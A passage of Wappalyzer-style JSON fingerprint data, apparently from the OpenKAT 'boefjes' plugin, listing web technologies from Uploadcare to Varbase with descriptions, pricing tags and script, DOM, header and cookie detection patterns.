\"https://www.upgates.com\"\n  },\n  \"Uploadcare\": {\n    \"cats\": [\n      31\n    ],\n    \"description\": \"Uploadcare is a complete file handling platform for online business. Receive files from you users via File Uploader or File Upload API, implement image optimization and transformations with Image CDN API, and get HIPAA-compliant storage.\",\n    \"dom\": [\n      \"img[src*='.ucarecdn.com/'], link[href*='ucarecdn.com'], img[data-src*='.ucarecdn.com/']\"\n    ],\n    \"icon\": \"Uploadcare.svg\",\n    \"js\": {\n      \"uploadcare.version\": \"^([\\\\d\\\\.]+)$\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"payg\"\n    ],\n    \"website\": \"https://uploadcare.com\"\n  },\n  \"Upptime\": {\n    \"cats\": [\n      13\n    ],\n    \"description\": \"Upptime is the open-source uptime monitor and status page, powered entirely by GitHub Actions, Issues, and Pages.\",\n    \"dom\": {\n      \"p > a[href*='upptime.js.org']\": {\n        \"text\": \"^Upptime$\"\n      }\n    },\n    \"icon\": \"Upptime.svg\",\n    \"oss\": true,\n    \"website\": \"https://upptime.js.org\"\n  },\n  \"Upravel\": {\n    \"cats\": [\n      36\n    ],\n    \"cookies\": {\n      \"user_id-legacy\": \"\"\n    },\n    \"description\": \"Upravel is a marketing advertising system.\",\n    \"dom\": [\n      \"link[href*='.upravel.com']\"\n    ],\n    \"icon\": \"Upravel.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://upravel.com\"\n  },\n  \"Upsales\": {\n    \"cats\": [\n      32,\n      53\n    ],\n    \"description\": \"Upsales is an enterprise CRM and marketing automation tool.\",\n    \"icon\": \"Upsales.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"img\\\\.upsales\\\\.com/\"\n    ],\n    \"website\": \"https://www.upsales.com\"\n  },\n  \"Upscope\": {\n    \"cats\": [\n      46\n    ],\n    \"description\": \"Upscope is a cobrowsing software enabling real-time website navigation with others, facilitating seamless teamwork and improved customer support.\",\n    \"icon\": \"Upscope.svg\",\n    \"js\": {\n      \"Upscope\": \"\",\n      \"Upscope._version\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"js\\\\.upscope\\\\.io/\"\n    ],\n    \"website\": \"https://upscope.com\"\n  },\n  \"UpsellPlus\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Upsell is an app that provides checkout upsells, post-purchase pages, and customization options to improve sales and customer experience.\",\n    \"icon\": \"UpsellPlus.svg\",\n    \"js\": {\n      \"upsellplusapp\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scripts\": [\n      \"app\\\\.upsellplus\\\\.com\"\n    ],\n    \"website\": \"https://www.upsellplus.com\"\n  },\n  \"Upserve\": {\n    \"cats\": [\n      93\n    ],\n    \"description\": \"Upserve is a restaurant management solution featuring an Android or iOS-based point-of-sale system, online ordering, contactless payments, automated inventory management, sales analytics, and more.\",\n    \"dom\": [\n      \"a[href*='app.upserve.com/']\"\n    ],\n    \"icon\": \"Upserve.svg\",\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.upserve\\\\.com/\"\n    ],\n    \"website\": \"https://onlineordering.upserve.com\"\n  },\n  \"Upsy\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"Upsy is a platform that provides personalized product recommendations for ecommerce stores.\",\n    \"icon\": \"Upsy.svg\",\n    \"js\": {\n      \"_upsyAbTest\": \"\",\n      \"parseUpsyQuery\": \"\",\n      \"upsy_sdk.getCookie\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"requiresCategory\": [\n      6\n    ],\n    \"saas\": true,\n    \"website\": \"https://upsyshopping.com\"\n  },\n  \"Uptain\": {\n    \"cats\": [\n      98\n    ],\n    \"description\": \"Uptain is a software solution designed to reduce shopping cart abandonment in ecommerce by utilizing AI-based tools like exit-intent popups and trigger emails.\",\n    \"icon\": \"Uptain.svg\",\n    \"js\": {\n      \"uptainUpdateUrl\": \"\"\n    },\n    \"pricing\": [\n      \"payg\",\n      \"poa\"\n    ],\n    \"requiresCategory\": [\n      6\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.uptain\\\\.de/\"\n    ],\n    \"website\": \"https://uptain.de\"\n  },\n  \"UptimeRobot\": {\n    \"cats\": [\n      13\n    ],\n    \"description\": \"UptimeRobot is a web-based software that is designed to monitor the sites frequently to check whether any site is down owing to server problem or any bug in coding.\",\n    \"dom\": {\n      \"a[href*='uptimerobot.com']\": {\n        \"attributes\": {\n          \"href\": \"(?:\\\\.|//)uptimerobot\\\\.com/\"\n        }\n      }\n    },\n    \"headers\": {\n      \"content-security-policy\": \"\\\\.uptimerobot\\\\.com\"\n    },\n    \"icon\": \"UptimeRobot.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.uptimerobot\\\\.com/\"\n    ],\n    \"website\": \"https://uptimerobot.com\"\n  },\n  \"Uptrends\": {\n    \"cats\": [\n      78,\n      13\n    ],\n    \"description\": \"Uptrends is a website and web performance monitoring solution.\",\n    \"icon\": \"Uptrends.svg\",\n    \"js\": {\n      \"UTBOOMR.version\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.uptrendsdata\\\\.com/\"\n    ],\n    \"website\": \"https://www.uptrends.com\"\n  },\n  \"Upvoty\": {\n    \"cats\": [\n      85\n    ],\n    \"description\": \"Upvoty is a platform for collecting and managing user feedback and feature requests.\",\n    \"dom\": {\n      \"div.upvotyContainer\": {\n        \"text\": \"\"\n      }\n    },\n    \"icon\": \"upvoty.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"js\": {\n      \"upvoty\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://upvoty.com\"\n  },\n  \"UsableNet\": {\n    \"cats\": [\n      68\n    ],\n    \"description\": \"UsableNet is a technology for web accessibility and digital transformation, providing end-to-end services.\",\n    \"dom\": [\n      \"iframe[src*='.usablenet.com/pt/']\"\n    ],\n    \"icon\": \"UsableNet.png\",\n    \"js\": {\n      \"enableUsableNetAssistive\": \"\"\n    },\n    \"pricing\": [\n      \"poa\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.usablenet\\\\.com/pt/\"\n    ],\n    \"website\": \"https://usablenet.com\"\n  },\n  \"Uscreen\": {\n    \"cats\": [\n      14\n    ],\n    \"description\": \"Uscreen is a CMS to monetize VOD and live content. They provide site hosting, video hosting, and a payment gateway for selling video based content.\",\n    \"dom\": {\n      \".powered-by-uscreen\": {\n        \"text\": \"\"\n      }\n    },\n    \"icon\": \"Uscreen.svg\",\n    \"js\": {\n      \"analyticsHost\": \"stats\\\\.uscreen\\\\.io\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://uscreen.tv/\"\n  },\n  \"User Accessibility\": {\n    \"cats\": [\n      68\n    ],\n    \"description\": \"User Accessibility is a solution incorporating automated site scanning and machine learning for future updates, while utilising JS to conform to WECAG standards for improved website and application accessibility.\",\n    \"icon\": \"User Accessibility.svg\",\n    \"pricing\": [\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"//system\\\\.user-a\\\\.co\\\\.il/\"\n    ],\n    \"website\": \"https://user-a.co.il\"\n  },\n  \"UserLike\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Userlike is a cloud-based live chat solution that can be integrated with existing websites.\",\n    \"icon\": \"UserLike.svg\",\n    \"js\": {\n      \"__USERLIKE_MOUNT_GUARD__\": \"\",\n      \"userlike\": \"\",\n      \"userlikeInit\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"userlike\\\\.min\\\\.js\",\n      \"userlikelib\\\\.min\\\\.js\",\n      \"//userlike-cdn-widgets\\\\.\",\n      \"api\\\\.userlike\\\\.com\"\n    ],\n    \"website\": \"https://userlike.com\"\n  },\n  \"UserReport\": {\n    \"cats\": [\n      13,\n      73\n    ],\n    \"description\": \"UserReport is an online survey and feedback management platform.\",\n    \"dom\": [\n      \"a[href*='feedback.userreport.com/'][target='_blank']\"\n    ],\n    \"icon\": \"UserReport.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.userreport\\\\.com/\"\n    ],\n    \"website\": \"https://www.userreport.com\"\n  },\n  \"UserRules\": {\n    \"cats\": [\n      13\n    ],\n    \"icon\": \"UserRules.png\",\n    \"js\": {\n      \"_usrp\": \"\"\n    },\n    \"website\": \"https://www.userrules.com\"\n  },\n  \"UserVoice\": {\n    \"cats\": [\n      13,\n      73\n    ],\n    \"description\": \"UserVoice is a management to collect and analyse feedback from customers.\",\n    \"icon\": \"UserVoice.svg\",\n    \"js\": {\n      \"UserVoice\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.uservoice\\\\.com/\"\n    ],\n    \"website\": \"https://uservoice.com\"\n  },\n  \"UserWay\": {\n    \"cats\": [\n      68\n    ],\n    \"description\": \"UserWay is a web accessibility overlay for websites that claims to improve compliance with accessibility standards.\",\n    \"icon\": \"UserWay.svg\",\n    \"scriptSrc\": [\n      \"cdn\\\\.userway\\\\.org/widget.*\\\\.js\"\n    ],\n    \"website\": \"https://userway.org/\"\n  },\n  \"UserZoom\": {\n    \"cats\": [\n      74,\n      10\n    ],\n    \"description\": \"UserZoom is a cloud-based user experience solution.\",\n    \"icon\": \"UserZoom.svg\",\n    \"pricing\": [\n      \"poa\",\n      \"high\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.userzoom\\\\.com/\"\n    ],\n    \"website\": \"https://www.userzoom.com\"\n  },\n  \"Userback\": {\n    \"cats\": [\n      73,\n      13\n    ],\n    \"description\": \"Userback is a platform offering visual feedback and bug tracking solutions for websites and web applications, allowing users to provide feedback through screenshots and annotations.\",\n    \"icon\": \"Userback.svg\",\n    \"js\": {\n      \"Userback.access_token\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://userback.io\"\n  },\n  \"Userbase\": {\n    \"cats\": [\n      69\n    ],\n    \"description\": \"Userbase is a tool facilitating login integration and user data persistence for static websites.\",\n    \"icon\": \"Userbase.svg\",\n    \"js\": {\n      \"userbase\": \"\"\n    },\n    \"oss\": true,\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://userbase.com\"\n  },\n  \"Usercentrics\": {\n    \"cats\": [\n      67\n    ],\n    \"description\": \"Usercentrics is a SaaS enterprise solution for Consent Management (CMP) that helps enterprise customers to obtain, manage and document the user consent.\",\n    \"dom\": [\n      \"link[href*='app.usercentrics.eu'], script[data-usercentrics]\"\n    ],\n    \"icon\": \"Usercentrics.svg\",\n    \"js\": {\n      \"usercentrics.appVersion\": \"([\\\\d.]+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.usercentrics\\\\.eu/.+\\\\.js\"\n    ],\n    \"website\": \"https://usercentrics.com\"\n  },\n  \"Userflow\": {\n    \"cats\": [\n      58\n    ],\n    \"description\": \"Userflow is a user onboarding software for building product tours and onboarding checklists, tailored to your app and your users.\",\n    \"icon\": \"Userflow.svg\",\n    \"js\": {\n      \"USERFLOWJS_QUEUE\": \"\",\n      \"userflow.endAllFlows\": \"\\\\;confidence:50\",\n      \"userflow.endChecklist\": \"\\\\;confidence:50\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.userflow\\\\.com/\"\n    ],\n    \"website\": \"https://userflow.com\"\n  },\n  \"Userpilot\": {\n    \"cats\": [\n      58,\n      97\n    ],\n    \"description\": \"Userpilot is a cloud-based product experience platform designed for customer success and product teams to onboard users and increase product adoption through behavior-triggered experiences.\",\n    \"icon\": \"Userpilot.svg\",\n    \"js\": {\n      \"userpilot.triggerById\": \"\",\n      \"userpilotInitiatorSDK\": \"\",\n      \"userpilotPako\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://userpilot.com\"\n  },\n  \"Usersnap\": {\n    \"cats\": [\n      13,\n      85\n    ],\n    \"description\": \"Usersnap is a user feedback platform for product teams to collect issues, ideas, and surveys, aiding in user testing and product decisions.\",\n    \"dom\": [\n      \"link[href*='.usersnap.com/']\"\n    ],\n    \"icon\": \"Usersnap.svg\",\n    \"js\": {\n      \"onUsersnapCXLoad\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.usersnap\\\\.com/\"\n    ],\n    \"website\": \"https://usersnap.com\"\n  },\n  \"Ushahidi\": {\n    \"cats\": [\n      1,\n      35\n    ],\n    \"cookies\": {\n      \"ushahidi\": \"\"\n    },\n    \"description\": \"Ushahidi is a tool that collects crowdsourced data and targeted survey responses from multiple data sources.\",\n    \"icon\": \"Ushahidi.svg\",\n    \"implies\": [\n      \"PHP\",\n      \"MySQL\",\n      \"OpenLayers\"\n    ],\n    \"js\": {\n      \"Ushahidi\": \"\"\n    },\n    \"scriptSrc\": [\n      \"/js/ushahidi\\\\.js$\"\n    ],\n    \"website\": \"https://www.ushahidi.com\"\n  },\n  \"Usizy\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"Usizy is the top size recommendation and prediction solution for ecommerce using machine learning, big data, and isomoprhic algorythms.\",\n    \"icon\": \"Usizy.svg\",\n    \"js\": {\n      \"uSizyUniversal\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"static\\\\.usizy\\\\.es/\"\n    ],\n    \"website\": \"https://usizy.com\"\n  },\n  \"Uvicorn\": {\n    \"cats\": [\n      22\n    ],\n    \"cpe\": \"cpe:2.3:a:encode:uvicorn:*:*:*:*:*:*:*:*\",\n    \"description\": \"Uvicorn is an ASGI server implementation for Python web applications, commonly used with frameworks like FastAPI to enable asynchronous and high-performance handling of web requests.\",\n    \"headers\": {\n      \"Server\": \"uvicorn\"\n    },\n    \"icon\": \"uvicorn.svg\",\n    \"implies\": [\n      \"Python\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://www.uvicorn.org\"\n  },\n  \"Uvodo\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Uvodo is an ecommerce platform built with React, PHP, and MySQL, offering local and global payment integration, robust selling tools, and no additional expenses.\",\n    \"icon\": \"Uvodo.svg\",\n    \"implies\": [\n      \"MySQL\",\n      \"PHP\",\n      \"React\"\n    ],\n    \"pricing\": [\n      \"freemium\",\n      \"recurring\",\n      \"low\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.uvo\\\\.do/\"\n    ],\n    \"website\": \"https://uvodo.com\"\n  },\n  \"Uzerly\": {\n    \"cats\": [\n      77\n    ],\n    \"description\": \"Uzerly is a technology-focused company specializing in retargeting.\",\n    \"headers\": {\n      \"content-security-policy\": \"\\\\.u(?:s|z)erly\\\\.net\"\n    },\n    \"icon\": \"Uzerly.svg\",\n    \"pricing\": [\n      \"poa\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.userly\\\\.net/\"\n    ],\n    \"website\": \"https://uzerly.fr\"\n  },\n  \"uKnowva\": {\n    \"cats\": [\n      50,\n      101\n    ],\n    \"description\": \"uKnowva is a mobile-enabled HRMS software.\",\n    \"headers\": {\n      \"X-Content-Encoded-By\": \"uKnowva ([\\\\d.]+)\\\\;version:\\\\1\"\n    },\n    \"html\": [\n      \"<a[^>]+>Powered by uKnowva</a>\"\n    ],\n    \"icon\": \"uKnowva.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"meta\": {\n      \"generator\": \"uKnowva (?: ([\\\\d.]+))?\\\\;version:\\\\1\"\n    },\n    \"scriptSrc\": [\n      \"/media/conv/js/jquery\\\\.js\"\n    ],\n    \"website\": \"https://uknowva.com\"\n  },\n  \"uLogin\": {\n    \"cats\": [\n      69\n    ],\n    \"description\": \"uLogin is a tool that enables its users to get unified access to various Internet services.\",\n    \"icon\": \"uLogin.svg\",\n    \"js\": {\n      \"uLogin.version\": \"^([\\\\d\\\\.]+)$\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://ulogin.ru\"\n  },\n  \"uMarketingSuite\": {\n    \"cats\": [\n      10,\n      76\n    ],\n    \"description\": \"uMarketingSuite is a set of diverse features that together form a full marketing suite for the Umbraco platform.\",\n    \"icon\": \"uMarketingSuite.svg\",\n    \"implies\": [\n      \"Umbraco\"\n    ],\n    \"js\": {\n      \"uMarketingSuite\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"website\": \"https://www.umarketingsuite.com\"\n  },\n  \"uPlot\": {\n    \"cats\": [\n      25\n    ],\n    \"description\": \"uPlot is a small, fast chart for time series, lines, areas, ohlc and bars.\",\n    \"icon\": \"uPlot.png\",\n    \"js\": {\n      \"uPlot\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://leeoniya.github.io/uPlot\"\n  },\n  \"uPortal\": {\n    \"cats\": [\n      21\n    ],\n    \"description\": \"uPortal is an open source enterprise portal framework built by and for higher education institutions.\",\n    \"icon\": \"uPortal.png\",\n    \"implies\": [\n      \"Java\"\n    ],\n    \"js\": {\n      \"uportal\": \"\"\n    },\n    \"meta\": {\n      \"description\": \" uPortal \"\n    },\n    \"oss\": true,\n    \"website\": \"https://www.apereo.org/projects/uportal\"\n  },\n  \"uRemediate\": {\n    \"cats\": [\n      68\n    ],\n    \"description\": \"uRemediate provides web accessibility testing tools and accessibility overlays.\",\n    \"icon\": \"User1st.svg\",\n    \"scriptSrc\": [\n      \"fecdn\\\\.user1st\\\\.info/Loader/head\"\n    ],\n    \"website\": \"https://www.user1st.com/uremediate/\"\n  },\n  \"user.com\": {\n    \"cats\": [\n      10\n    ],\n    \"html\": [\n      \"<div[^>]+/id=\\\"ue_widget\\\"\"\n    ],\n    \"icon\": \"user.com.svg\",\n    \"js\": {\n      \"UserEngage\": \"\"\n    },\n    \"website\": \"https://user.com\"\n  },\n  \"utterances\": {\n    \"cats\": [\n      15\n    ],\n    \"description\": \"Utterances is a lightweight comments widget built on GitHub issues.\",\n    \"dom\": [\n      \"iframe[src*='utteranc.es']\"\n    ],\n    \"icon\": \"utterances.svg\",\n    \"oss\": true,\n    \"website\": \"https://utteranc.es/\",\n    \"xhr\": [\n      \"\\\\.utteranc\\\\.es\"\n    ]\n  }\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_wappalyzer/data/technologies/v.json",
    "content": "{\n  \"V2Board\": {\n    \"cats\": [\n      64\n    ],\n    \"description\": \"V2Board is a multi-agent protocol management system with an interface for managing multiple proxy protocols.\",\n    \"dom\": [\n      \"link[href*='/theme/v2board/assets/']\"\n    ],\n    \"icon\": \"V2Board.png\",\n    \"oss\": true,\n    \"website\": \"https://v2board.com\"\n  },\n  \"VAPTCHA\": {\n    \"cats\": [\n      16\n    ],\n    \"description\": \"VAPTCHA is the abbreviation of (Variation Analysis based Public Turing Test to Tell Computers and Humans Apart), also known as gesture verification code, is a human-machine verification solution based on artificial intelligence and big data.\",\n    \"icon\": \"VAPTCHA.svg\",\n    \"js\": {\n      \"vaptcha\": \"\"\n    },\n    \"pricing\": [\n      \"poa\",\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.vaptcha\\\\.com/v([\\\\d\\\\.]+)\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://en.vaptcha.com\"\n  },\n  \"VB Media\": {\n    \"cats\": [\n      6\n    ],\n    \"cookies\": {\n      \"_vbm_session\": \"\"\n    },\n    \"description\": \"VB Media is an ecommerce platform designed for selling print products online.\",\n    \"icon\": \"VBMedia.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://vb.media\"\n  },\n  \"VDX.tv\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"VDX.tv (formerly Exponential) is a global advertising technology company that is transforming the way brands connect with relevant audiences in today's converging video landscape.\",\n    \"dom\": [\n      \"link[href*='.tribalfusion.com'], link[href*='.exponential.com']\"\n    ],\n    \"icon\": \"VDX.tv.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.tribalfusion\\\\.com/\",\n      \"\\\\.exponential\\\\.com\"\n    ],\n    \"website\": \"https://vdx.tv\"\n  },\n  \"VIVVO\": {\n    \"cats\": [\n      1\n    ],\n    \"cookies\": {\n      \"VivvoSessionId\": \"\"\n    },\n    \"icon\": \"VIVVO.png\",\n    \"js\": {\n      \"vivvo\": \"\"\n    },\n    \"website\": \"https://vivvo.net\"\n  },\n  \"VK Pixel\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"VK is a Russian online social media and social networking service.\",\n    \"dom\": [\n      \"img[src*='vk.com/rtrg?p=VK-RTRG-']\"\n    ],\n    \"icon\": \"vk.svg\",\n    \"scriptSrc\": [\n      \"vk\\\\.com/js/api/openapi\\\\.js\"\n    ],\n    \"website\": \"https://vk.com/\"\n  },\n  \"VKUI\": {\n    \"cats\": [\n      66\n    ],\n    \"description\": \"VKUI is a set of React components with which you can create interfaces that are visually indistinguishable from our iOS and Android applications.\",\n    \"dom\": [\n      \"html.vkui\"\n    ],\n    \"icon\": \"vk.svg\",\n    \"oss\": true,\n    \"website\": \"https://vkcom.github.io/VKUI\"\n  },\n  \"VP-ASP\": {\n    \"cats\": [\n      6\n    ],\n    \"html\": [\n      \"<a[^>]+>Powered By VP-ASP Shopping Cart</a>\"\n    ],\n    \"icon\": \"VP-ASP.png\",\n    \"implies\": [\n      \"Microsoft ASP.NET\"\n    ],\n    \"scriptSrc\": [\n      \"vs350\\\\.js\"\n    ],\n    \"website\": \"https://www.vpasp.com\"\n  },\n  \"VReview\": {\n    \"cats\": [\n      90\n    ],\n    \"description\": \"VReview is an AI review marketing solution that boosts a shopping mall's purchase conversion rate by utilising customer reviews.\",\n    \"icon\": \"VReview.svg\",\n    \"js\": {\n      \"vreviewWidget\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"script\\\\.vreview\\\\.tv/\"\n    ],\n    \"website\": \"https://vreview.tv\"\n  },\n  \"VTEX\": {\n    \"cats\": [\n      6\n    ],\n    \"cookies\": {\n      \"VtexFingerPrint\": \"\",\n      \"VtexStoreVersion\": \"\",\n      \"VtexWorkspace\": \"\",\n      \"vtex_session\": \"\"\n    },\n    \"description\": \"VTEX is an ecommerce software that manages multiple online stores.\",\n    \"dom\": [\n      \"link[href*='.vteximg.com.br'], source[srcset*='.vteximg.com.br']\"\n    ],\n    \"headers\": {\n      \"Server\": \"^VTEX IO$\",\n      \"powered\": \"vtex\"\n    },\n    \"icon\": \"VTEX.svg\",\n    \"js\": {\n      \"vtex\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://vtex.com/\"\n  },\n  \"VWO\": {\n    \"cats\": [\n      10,\n      74\n    ],\n    \"description\": \"VWO is a website testing and conversion optimisation platform.\",\n    \"icon\": \"VWO.svg\",\n    \"js\": {\n      \"VWO\": \"\",\n      \"__vwo\": \"\",\n      \"_vwo_code\": \"\",\n      \"_vwo_settings_timer\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"dev\\\\.visualwebsiteoptimizer\\\\.com/\",\n      \"/visual-website-optimizer/([\\\\d\\\\.])\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://vwo.com\"\n  },\n  \"VWO Engage\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"VWO Engage is a part of the VWO Platform, which is a web-based push notification platform used by SaaS and B2B marketers, online content publishers, and ecommerce store owners.\",\n    \"icon\": \"VWO.svg\",\n    \"js\": {\n      \"_pushcrewDebuggingQueue\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.pushcrew\\\\.\\\\w+\"\n    ],\n    \"website\": \"https://vwo.com/engage\"\n  },\n  \"Vaadin\": {\n    \"cats\": [\n      18\n    ],\n    \"cpe\": \"cpe:2.3:a:vaadin:vaadin:*:*:*:*:*:*:*:*\",\n    \"description\": \"Vaadin is an open-source framework for building user interfaces and single-page applications using Java and TypeScript.\",\n    \"icon\": \"Vaadin.svg\",\n    \"implies\": [\n      \"Java\"\n    ],\n    \"js\": {\n      \"vaadin\": \"\"\n    },\n    \"scriptSrc\": [\n      \"vaadinBootstrap\\\\.js(?:\\\\?v=([\\\\d.]+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://vaadin.com\"\n  },\n  \"ValueCommerce\": {\n    \"cats\": [\n      71\n    ],\n    \"description\": \"ValueCommerce is a pay-per-performance advertising affiliate marketing network.\",\n    \"dom\": {\n      \"a[href*='ap.valuecommerce.com']\": {\n        \"attributes\": {\n          \"href\": \"\"\n        }\n      },\n      \"img[src*='ap.valuecommerce.com'],img[data-src*='ap.valuecommerce.com']\": {\n        \"attributes\": {\n          \"src\": \"\"\n        }\n      }\n    },\n    \"icon\": \"ValueCommerce.svg\",\n    \"scriptSrc\": [\n      \"\\\\.valuecommerce\\\\.com\"\n    ],\n    \"website\": \"https://www.valuecommerce.co.jp\"\n  },\n  \"Vanco Payment Solutions\": {\n    \"cats\": [\n      111,\n      41\n    ],\n    \"description\": \"Vanco Payment Solutions provides credit card processing to nonprofits.\",\n    \"dom\": [\n      \"a[href*='.eservicepayments.com/']\"\n    ],\n    \"icon\": \"Vanco.svg\",\n    \"pricing\": [\n      \"payg\",\n      \"recurring\",\n      \"low\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.eservicepayments\\\\.com/\"\n    ],\n    \"website\": \"https://www.vancopayments.com\"\n  },\n  \"Vanilla\": {\n    \"cats\": [\n      2\n    ],\n    \"description\": \"Vanilla is a both a cloud-based (SaaS) open-source community forum software.\",\n    \"headers\": {\n      \"X-Powered-By\": \"Vanilla\"\n    },\n    \"html\": [\n      \"<body id=\\\"(?:DiscussionsPage|vanilla)\"\n    ],\n    \"icon\": \"Vanilla.png\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"website\": \"https://vanillaforums.org\"\n  },\n  \"Vant\": {\n    \"cats\": [\n      66\n    ],\n    \"description\": \"Vant is a lightweight, customisable Vue UI library for mobile web apps.\",\n    \"dom\": {\n      \"link[href*='/npm/vant']\": {\n        \"attributes\": {\n          \"href\": \"cdn\\\\.jsdelivr\\\\.net/npm/vant@([\\\\d\\\\.]+)/\\\\;version:\\\\1\"\n        }\n      },\n      \"link[href*='/vant-']\": {\n        \"attributes\": {\n          \"href\": \"/vant-[\\\\w\\\\d]{8}\\\\.js\"\n        }\n      }\n    },\n    \"icon\": \"Vant.svg\",\n    \"implies\": [\n      \"TypeScript\"\n    ],\n    \"js\": {\n      \"vant.version\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"requires\": [\n      \"Vue.js\"\n    ],\n    \"website\": \"https://github.com/youzan/vant\"\n  },\n  \"Vanta\": {\n    \"cats\": [\n      16\n    ],\n    \"description\": \"Vanta is a compliance automation platform for SOC 2, HIPAA, ISO 27001, PCI, and GDPR.\",\n    \"icon\": \"Vanta.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"static\\\\.vanta\\\\.com/\"\n    ],\n    \"website\": \"https://www.vanta.com\"\n  },\n  \"Vantaca\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"Vantaca is a community management performance software that enables owners, operators, community management teams, accounting teams, and association boards to improve business performance.\",\n    \"dom\": [\n      \"link[href*='/style-vantaca_']\"\n    ],\n    \"icon\": \"Vantaca.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.vantaca.com/\"\n  },\n  \"Varbase\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:vardot:varbase:*:*:*:*:*:*:*:*\",\n    \"dom\": [\n      